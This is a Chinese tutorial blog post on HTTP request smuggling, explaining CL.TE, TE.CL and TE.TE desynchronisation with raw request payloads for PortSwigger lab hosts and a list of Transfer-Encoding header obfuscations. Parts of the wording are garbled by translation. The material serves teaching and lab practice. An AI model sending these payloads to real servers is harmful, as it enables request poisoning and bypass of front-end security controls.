我理解的HTTP请求走私(HTTP Request Smuggling)

摘要:
Content-Length的值是传输编码传输编码的数量,它是块传输的符号。长度为1b的请求走私攻击包括将内容长度报头和传输编码报头输入到单个HTTP请求中,并对这些请求进行操作。

原理

HTTP 请求的请求体有2种判定方式

  • 利用Content-Length字段来判定请求体的内容长度
  • 利用Transfer-Encoding字段来判定请求体的结束位置

Content-Length

正常post请求,会带上请求体(body),请求体有多长,Content-Length的值就是多少

Transfer-Encoding

Transfer-Encoding就是分块传输的标志,它不靠Content-Length来告诉web服务器请求体有多长,而是靠0这个字符来代表分块结束,之后还要换行2次(重点!!!)
  • 分块传输的格式
POST / HTTP/1.1
Host: acc71f601f1571b68080899c008a0074.web-security-academy.net
Content-Length: 5
Transfer-Encoding: chunked

3
aaa
5
aa
a
0

上面这行代表着分了3段,第一段是3个a,第二段是2个a和一个 和一个 再1个a,第三段是空
aaa上面的3是长度,表示第一段有3个字节,同理第二段加上换号就是5个字节,最后一段为空就0个字节,但最后有2个换行表示结束
再注意,长度是以16进制表示,即如下下面字节长度为27,则长度为1b

类型

请求走私攻击包括将内容长度头和传输编码报头进入单个HTTP请求并对这些请求进行操作,以便前端服务器和后端服务器处理请求的方式不同。具体的方式取决于这两个服务器的行为:

  • CL.TE:前端服务器使用内容长度头和后端服务器使用传输编码头球。
  • TE.CL:前端服务器使用传输编码头和后端服务器使用内容长度头球。
  • TE.TE:前端和后端服务器都支持传输编码头,但其中一台服务器可以通过某种方式混淆报头,从而避免对其进行处理。

实际操作

//真实的数据包是这样的
POST / HTTP/1.1
Host: acc71f601f1571b68080899c008a0074.web-security-academy.net
Content-Length: 3
Transfer-Encoding: chunked

1

G

0


CL.TE

POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked

0

G

因为是CL.TE(前端认定长度CL,后端认定分块TE)
前端看到长度是6,就读取6个字节,0 G,将数据包全部发到后端
后端认定是分块,读到0 就结束了,后端服务器的缓冲区里还留下了一个G,这个G就会留在缓冲区里(通常10s后会过期)和下一个请求拼接到一起

TE.CL

POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1
0

因为是TE.CL(前端认定是分块TE,后端认定长度CL)
5c是十六进制的数据,转为十进制为92,就是5c下面的数据包的长度
前端认为这是一个TE数据包,第一个数据块的长度是5c(92),遇到0结束
所以会将整个数据包都发送给后端服务器处理
后端服务器认定CL,CL的长度是4,所以只截取到5c
5c明明是两个字符为什么长度是4? 因为还有一个你看不到的
而下面的GPOST...会被后端认为是另一个http数据包

TE.TE

可能有无数种混淆Transfer-Encoding标头的方法。例如:

Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[
]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

前端看到
Transfer-Encoding:chunked
Transfer-encoding:cow
认为这还是TE型的包,
但是后端服务器认为这不对劲,应该按照CL格式来看

参考:

https://www.cnblogs.com/linghu-java/p/11193886.html
https://www.jianshu.com/p/6173b56f15e0
https://www.cnblogs.com/sijidou/p/13121343.html

免责声明:文章转载自《我理解的HTTP请求走私(HTTP Request Smuggling)》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇点击图片,出现大图在mac中使用Charles抓包操作下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

.NET Core在WindowsServer服务器部署(使用Web Deploy发布)

使用的方法 环境需要: web platform installer。(WEB PI,其实是用来安装web deploy用的,但是我没用,我直接在官网下载的) 安装【管理服务】 安装web deploy。 操作: 如果有WEB PI,则直接使用它先安装最新版WEB DEPLOY(本文使用WEB DEPLOY3.6)。 如果没有WEB PI,或者不想用...

性能监控工具——Cacti安装文档

一、Cacti安装说明 1.安装说明 一般性的安装说明,详细的操作系统具体的安装说明可用于Linux. 2.服务器安装要求 RRDTool 1.2.x或更高版本 MySQL 4.1.x或5.x更高版本 PHP 4.3.6,5.x或更高版本 Apache 2.2或者更高版本 Perl 5.10.1 或者更高版本 二、安装...

借助Proxifier实现内网访问

实验室中有一台电脑可以通过公网ip进行ssh登录,因为服务器只将ssh端口暴露出来所以无法通过ss等需要开放其他端口的方式来构建代理服务器, 本文将利用ssh隧道建立的代理服务器,无需其他软件上的配置,将内网访问请求通过代理服务器进行转发。 Requirements Proxifier Win/Mac 内网中拥有公网ip的服务器账号 原理 利用ss...

Apache Bench安装与使用

转载:ApacheBench(ab)使用详解 一、Apache Bench简介 ApacheBench 是 Apache 服务器自带的一个web压力测试工具,简称ab。ab又是一个命令行工具,对发起负载的本机要求很低,根据ab命令可以创建很多的并发访问线程,模拟多个访问者同时对某一URL地址进行访问,因此可以用来测试目标服务器的负载压力。它的测试目标是基于...

python基础学习-TCP的粘包问题

一、什么是粘包(粘包问题的原因) 所谓粘包问题主要还是因为接收方不知道消息之间的界限,不知道一次性提取多少字节的数据所造成的。 只有TCP有粘包现象,UDP永远不会粘包,tcp的客户端与服务端进行通信的时候是以一种数据流的形式, 首先需要掌握一个socket收发消息的原理: 服务端把要发送的数据送到服务端的缓存,通过网卡把数据从服务端的缓存到客户端的缓存...

nignx反向代理web服务器的配置与使用

一、为什么要用nignx反向代理 1、负载均衡   当一台服务器的单位时间内的访问量越大时,服务器压力就越大,大到超过自身承受能力时,服务器就会崩溃。为了避免服务器崩溃,让用户有更好的体验,我们通过负载均衡的方式来分担服务器压力。 我们可以建立很多很多服务器,组成一个服务器集群,当用户访问网站时,先访问一个中间服务器,在让这个中间服务器在服务器集群中选择一...